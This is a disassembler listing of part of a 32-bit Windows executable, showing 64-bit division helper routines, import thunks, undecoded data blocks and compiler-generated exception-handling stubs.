sub_437BE0	proc near		; CODE XREF: sub_41B920+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_437C01
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_437C51
; ---------------------------------------------------------------------------


loc_437C01:				; CODE XREF: sub_437BE0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_437C0F:				; CODE XREF: sub_437BE0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C0F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_437C3A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_437C3A
		jb	short loc_437C42
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_437C42


loc_437C3A:				; CODE XREF: sub_437BE0+4Aj
					; sub_437BE0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_437C42:				; CODE XREF: sub_437BE0+52j
					; sub_437BE0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_437C51:				; CODE XREF: ___:00437BD8j
					; sub_437BE0+1Fj
		pop	ebx
		retn	10h
sub_437BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437C60	proc near		; CODE XREF: sub_41B920+30p
					; sub_41B920+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_437C82
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_437CC3
; ---------------------------------------------------------------------------


loc_437C82:				; CODE XREF: sub_437C60+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_437C90:				; CODE XREF: sub_437C60+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C90
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_437CBE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_437CBE
		jb	short loc_437CBF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_437CBF


loc_437CBE:				; CODE XREF: sub_437C60+4Ej
					; sub_437C60+54j
		dec	esi


loc_437CBF:				; CODE XREF: sub_437C60+56j
					; sub_437C60+5Cj
		xor	edx, edx
		mov	eax, esi


loc_437CC3:				; CODE XREF: sub_437C60+20j
		pop	esi
		pop	ebx
		retn	10h
sub_437C60	endp

; ---------------------------------------------------------------------------
		dd 808DE4E9h, 0E990B377h, 7780733Ch, 187E990h, 0E9907781h
		dd 77809196h, 9515E990h, 89E97780h, 28778098h, 96AAE990h
		dd 44E97780h, 0A477809Ah, 0FEE2E990h, 0E9907780h, 77809E6Eh
		dd 8071EDE9h, 0E9900C77h, 77809103h, 43ADE990h,	0E990777Fh
		dd 777E4845h, 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h
		dd 0E990777Eh, 77807BFDh, 9B30E990h, 0E9907780h, 7780269Bh
		dd 25C1E990h, 0C8E97780h, 53778113h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437D4C	proc near		; CODE XREF: ___:0043297Cp
		nop
		jmp	near ptr 77C3619Ch
sub_437D4C	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
dword_437D54	dd 777FF01Ch, 8E53E990h, 46FD7780h, 6506B7AAh, 72B1646Fh
		dd 7EFBF5BDh, 0CE23313h, 9DDD7668h, 0CF886F59h,	0E6BF9E6Ah
		dd 56538D46h, 0E8658957h, 5D89DB33h, 90026AFCh,	7FD5EBE8h
		dd 0D835977h, 5109A4h, 0B40D83FFh, 0FF005109h, 7E7436E8h
		dd 0D8B9077h, 5108B4h, 0F1E80889h, 90777E73h, 8B00D8Bh
		dd 8890051h, 511A28A1h,	0A3008B00h, 510998h, 12EE8h, 0B01D3900h
		dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h
		dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h
		dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h,	8D509045h
		dd 0E850A045h, 777E70D3h, 42106890h, 680044h, 0E8004440h
		dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22F8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	2459D86h
		dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 77801FDEh, 99A6E990h, 0E990777Eh, 777FCF89h
		dd 801FCDE9h, 0E990DE77h, 777FAEDAh, 7011E990h,	0E990777Eh
		dd 77801E87h, 3000068h,	6800h, 25E80001h, 59000000h, 0E990C359h
		dd 7781577Dh, 0C3C3C033h, 72A2E990h, 0E990777Eh, 777E72D3h
		dd 0D46EE990h, 81E9777Fh, 0CF777FDDh, 6F15E990h, 0E9907781h
		dd 75C6844Bh, 8529E990h, 0E99075C6h, 75C5A102h,	7553E990h
		dd 0E99075C5h, 75C684F8h, 0A029E990h, 0E99075C4h, 75C53908h
		dd 0F765E990h, 0E99075C5h, 75C4DB94h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437F50	proc near		; CODE XREF: sub_4193C0+17Ep
		jmp	near ptr 76D6AC1Dh
sub_437F50	endp

; ---------------------------------------------------------------------------
		db 74h,	90h, 0E9h
		dd 23C8C2Ah, 8C9AE990h,	99E9023Ch, 92023D80h, 3D85E3E9h
		dd 0E9908D02h, 23E808Ch, 3E91B4E9h, 0E9904B02h,	23F8080h
		dd 807AE990h, 0E9900240h, 240964Eh, 981AE990h, 0E9900240h
		dd 2409BBAh, 9EBEE990h,	5DE90240h, 2D024180h, 8708E990h
		dd 0E9900241h, 2418B7Eh, 804AE990h, 45E90242h, 0A6024380h
		dd 8437E990h, 0E9900243h, 2438775h, 8032E990h, 0E9900244h
		dd 245802Ch, 913EE990h,	0E9900245h, 2459C32h, 801AE990h
		dd 27E90246h, 0E8024687h, 468BB9E9h, 0E990C702h, 2478008h
		dd 83F0E990h, 0E9900247h, 23C889Bh, 7FF6E990h, 0E990023Ch
		dd 23B7FF0h, 882AE990h,	0E990023Ah, 23A7FE4h, 7FDEE990h
		dd 0E9900239h, 238836Eh, 387FD3E9h, 0E990D902h,	2378B41h
		dd 8491E990h, 0E9900237h, 237835Ch, 2E7FBBE9h, 0E9905002h
		dd 2378335h, 82DDE990h,	0E9900237h, 7C4C9095h, 8FA7E990h
		dd 0E9907C4Ch, 23780CAh, 7F96E990h, 0E9900237h,	236883Fh
		dd 7F8AE990h, 0C9E90236h, 79023588h, 35882EE9h,	0E990CF02h
		dd 23586B5h, 35855FE9h,	0E9901602h, 235834Eh, 8169E990h
		dd 61E90235h, 4602357Fh, 348BE9E9h, 0E990E102h,	234894Ah
		dd 8600E990h, 0E9900234h, 2348563h, 7FD6E990h, 3DE90234h
		dd 0AE02347Fh, 8B75E990h, 0E9900233h, 2338945h,	8647E990h
		dd 0BEE90233h, 4023382h, 7F1EE990h, 0E9900233h,	23288F7h
		dd 889EE990h, 0E9900232h, 23281ABh, 7F06E990h, 0E9900232h
		dd 2318A00h, 86ACE990h,	0E9900231h, 2317EF4h, 8C1CE990h
		dd 0E9900230h, 2308AD2h, 87FBE990h, 0E9900230h,	230863Dh
		dd 7ED6E990h, 0E9900230h, 22F7ED0h, 3EDBE990h, 0E990001Ch
		dd 2478B0Fh, 90F6E990h,	0E9900252h, 24D7EB8h, 7EB2E990h
		dd 0E9900252h, 2517EACh, 507EA7E9h, 0E9907602h,	24F7EA0h
		dd 80FBE990h, 0E990024Eh, 24E7E94h, 8A98E990h, 5FE9024Dh
		dd 0BB024D87h, 855FE990h, 0E990024Dh, 24D8301h,	7E76E990h
		dd 0E9900248h, 24C9B4Fh, 4C96A5E9h, 0E990A102h,	24C9317h
		dd 8EB1E990h, 59E9024Ch, 0E8024C7Eh, 7E52E990h,	0E990024Bh
		dd 24A9866h, 4A953BE9h,	80E90902h, 0CF024A92h, 4A9167E9h
		dd 0E9904B02h, 24A7E34h, 7E2EE990h, 0E9900249h,	7C608F38h
		dd 0BD63E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381DE	proc near		; CODE XREF: ___:0042DBE1p
		jmp	near ptr 71AB4FD4h
sub_4381DE	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 686290E9h
		db 71h,	88h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381EA	proc near		; CODE XREF: sub_42DBD1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_4381EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381F0	proc near		; CODE XREF: sub_42DF40+E5p
					; sub_42EF60+4Fp
		jmp	near ptr 71AB615Ah
sub_4381F0	endp

; ---------------------------------------------------------------------------
		db 79h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381F6	proc near		; CODE XREF: sub_42E490+9Ap
					; sub_42F040+45p ...
		jmp	near ptr 71AB428Ah
sub_4381F6	endp

; ---------------------------------------------------------------------------
		push	cs

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381FC	proc near		; CODE XREF: sub_42F2C0+53p
					; sub_42F2C0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_4381FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438202	proc near
		jmp	near ptr 71AC1028h
sub_438202	endp

; ---------------------------------------------------------------------------
		db 0A1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438208	proc near		; CODE XREF: sub_42E170+71p
					; sub_42ED50+50p
		jmp	near ptr 71AB2DC0h
sub_438208	endp

; ---------------------------------------------------------------------------
		db 0F0h, 0E9h, 0ADh
		dd 9F7167A9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438214	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_438214	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167A946h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438220	proc near		; CODE XREF: sub_42E870+187p
		nop
		jmp	near ptr 71AB951Eh
sub_438220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438226	proc near
		jmp	near ptr 71AB3E00h
sub_438226	endp

; ---------------------------------------------------------------------------
		movsb

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43822C	proc near		; CODE XREF: sub_42DB00+B1p
		jmp	near ptr 71AB2B66h
sub_43822C	endp

; ---------------------------------------------------------------------------
		pop	eax

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438232	proc near		; CODE XREF: ___:0042DC2Fp
					; sub_42E870+152p
		nop
		jmp	near ptr 71AB3B91h
sub_438232	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438238	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_438238	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167C1E4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438244	proc near		; CODE XREF: sub_42DA80+10p
		nop
		jmp	near ptr 71AB664Dh
sub_438244	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167CE78h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438250	proc near		; CODE XREF: sub_434BA0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_438250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438256	proc near		; CODE XREF: sub_41A7D0+92p
					; sub_41A9C0+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_438256	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
		push	0B1E99071h
		retn	7167h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 52h, 0A9h
		dd 0E9907167h, 7167AA9Bh, 0A9EFE990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43827A	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_43827A	endp

; ---------------------------------------------------------------------------
		dd 6804E4E9h, 0E9909271h, 7167C1FDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43828C	proc near		; CODE XREF: sub_42DB00+53p
					; sub_42DB00+C3p
		jmp	near ptr 71ABE6EBh
sub_43828C	endp

; ---------------------------------------------------------------------------
		db 0DEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438292	proc near		; CODE XREF: sub_42F2C0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_438292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438298	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_438298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43829E	proc near		; CODE XREF: ___:0041C2B7p
					; ___:0041C2CCp
		jmp	near ptr 71B2578Ch
sub_43829E	endp

; ---------------------------------------------------------------------------
		inc	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382A4	proc near		; CODE XREF: ___:0041C40Dp
					; ___:0041C42Fp
		nop
		jmp	near ptr 71B25099h
sub_4382A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382AA	proc near		; CODE XREF: ___:00426390p
		jmp	near ptr 71B2517Fh
sub_4382AA	endp

; ---------------------------------------------------------------------------
		db 34h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B0	proc near		; CODE XREF: sub_420090+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_4382B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B6	proc near		; CODE XREF: sub_420090+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_4382B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382BC	proc near		; CODE XREF: sub_420090+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_4382BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382C2	proc near		; CODE XREF: ___:0041B2B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_4382C2	endp

; ---------------------------------------------------------------------------
dword_4382C8	dd 80DF81E9h, 0E990C577h, 7780DE51h, 80DE97E9h,	0E9908077h
		dd 7780E040h, 2C4h dup(0CCCCCCCCh), 0FB988D8Dh,	2BE9FFFFh
		dd 8DFFFC84h, 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh,	0FFFFFBB0h
		dd 0FC8415E9h, 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh
		dd 0E083FFFFh, 0FC08501h, 884h,	44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403530	proc near		; DATA XREF: sub_403530+2o
		mov	eax, offset dword_43F470
		jmp	sub_437AB8
SEH_403530	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_438E6B:				; DATA XREF: ___:0043F4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403720	proc near		; DATA XREF: sub_403720+2o
		mov	eax, offset dword_43F4C0
		jmp	sub_437AB8
SEH_403720	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C50	proc near		; DATA XREF: sub_403C50+2o
		mov	eax, offset dword_43F700
		jmp	sub_437AB8
SEH_403C50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392B8:				; DATA XREF: ___:0043F75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403CE0	proc near		; DATA XREF: sub_403CE0+2o
		mov	eax, offset dword_43F730
		jmp	sub_437AB8
SEH_403CE0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392E8:				; DATA XREF: ___:0043F794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D60	proc near		; DATA XREF: sub_403D60+2o
		mov	eax, offset dword_43F768
		jmp	sub_437AB8
SEH_403D60	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403DE0	proc near		; DATA XREF: sub_403DE0+2o
		mov	eax, offset dword_43F7A0
		jmp	sub_437AB8
SEH_403DE0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439338:				; DATA XREF: ___:0043F7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E50	proc near		; DATA XREF: sub_403E50+2o
		mov	eax, offset dword_43F7D0
		jmp	sub_437AB8
SEH_403E50	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_4393B8:				; DATA XREF: ___:0043F85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403F30	proc near		; DATA XREF: sub_403F30+2o
		mov	eax, offset dword_43F830
		jmp	sub_437AB8
SEH_403F30	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404010	proc near		; DATA XREF: sub_404010+2o
		mov	eax, offset dword_43F890
		jmp	sub_437AB8
SEH_404010	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
